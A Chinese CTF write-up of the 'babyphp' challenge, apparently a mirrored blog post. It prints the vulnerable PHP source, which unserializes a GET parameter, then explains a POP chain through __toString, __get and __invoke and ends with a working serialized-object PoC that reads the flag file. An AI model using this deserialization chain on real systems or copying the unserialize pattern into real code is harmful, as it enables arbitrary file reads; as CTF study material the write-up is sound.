zoukankan      html  css  js  c++  java
  • 京津冀大学生竞赛:babyphp

    京津冀大学生竞赛:babyphp

    比赛的时候没做出来,回来以后一会就做出来了,难受。。。还是基本功不扎实,都不记得__invoke怎么触发的了

    放上源码

    <?php
    error_reporting(1);
    class Read {
        public $var;
        public function file_get($value)
        {
            $text = base64_encode(file_get_contents($value));
            return $text;
        }
    
        public function __invoke(){
            $content = $this->file_get($this->var);
            echo $content;
        }
    }
    
    class Show
    {
        public $source;
        public $str;
        public function __construct($file='index.php')
        {
            $this->source = $file;
            echo $this->source.'瑙f瀽寮€濮?'."<br>";
        }
    
        public function __toString()
        {
            $this->str['str']->source;
        }
    
        public function _show()
        {
            if(preg_match('/http|https|file:|gopher|dict|..|fllllllaaaaaag/i',$this->source)) {
                die('hacker!');
            } else {
                highlight_file($this->source);
            }
    
        }
    
        public function __wakeup()
        {
            if(preg_match("/http|https|file:|gopher|dict|../i", $this->source)) {
                echo "hacker~";
                $this->source = "index.php";
            }
        }
    }
    
    class Test
    {
        public $params;
        public function __construct()
        {
            $this->params = array();
        }
    
        public function __get($key)
        {
            $func = $this->params;
            return $func();
        }
    }
    
    if(isset($_GET['chal']))
    {
        $chal = unserialize($_GET['chal']);
    }
    else
    {
        $show = new Show('index.php');
        $show->_show();
    }
    

    官方给的hint是

    babyphp提示:php反序列化链构造、魔术方法__toString、__wakeup()、__invoke()、__get()

    其实没什么用,很明显是反序列化。关键是pop链的构造思路。
    我找pop链的思路一般是

    • 1、找__destruct()__toString()这样容易触发反序列化的魔术方法,这是pop链的起点
    • 2、找能利用来getflag的函数,例如file_get_contents()这种,这是pop链的终点
    • 3、最后从终点慢慢一环一环往回推,推回起点就成功构造出pop链

    本题中pop链的起点应该是Show::__toString(),然后寻找可用的echo,第一眼看到的就还是Show::__construct(),还有一处Read::__invoke中的echo其实是最后getflag的地方。我们带着这个思路走下去,那么Read::__invoke就是pop链的终点。

    __invoke()触发条件是

    当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。

    可以发现Test::__get()中有

    $func = $this->params;
    return $func();
    

    继续回推,__get()的触发方法是

    读取不可访问属性的值时,__get() 会被调用。

    我们发现Show::__toString()中有$this->str['str']->source;,完美
    最终poc如下

    <?php
    error_reporting(3);
    class Read {
        public $var;
    }
    
    class Show
    {
        public $source;
        public $str;
    }
    
    class Test
    {
        public $params;
    }
    
    $c = new Read();
    $c->var = 'fllllllaaaaaag';
    $b = new Test();
    $b->params = $c;
    $d = new Show();
    $d->str = array('str'=>$b);
    $a = new Show();
    $a->source = $d;
    
    echo serialize($a);
    
  • 相关阅读:
    曾经收藏过的好文,唯快不破
    思想上的差距,各种差距,看完再说
    GO的初始简书(一)简介安装
    php 使用composer
    微信开发~又来一拨(本人崇尚开源)
    PHP 底层的运行机制与原理 --转
    关于cgi、FastCGI、php-fpm、php-cgi
    winows 服务器环境搭建 (碰到了windows服务器,小记一下吧~)
    python方法的重写
    python继承简介
  • 原文地址:https://www.cnblogs.com/20175211lyz/p/11560311.html
Copyright © 2011-2022 走看看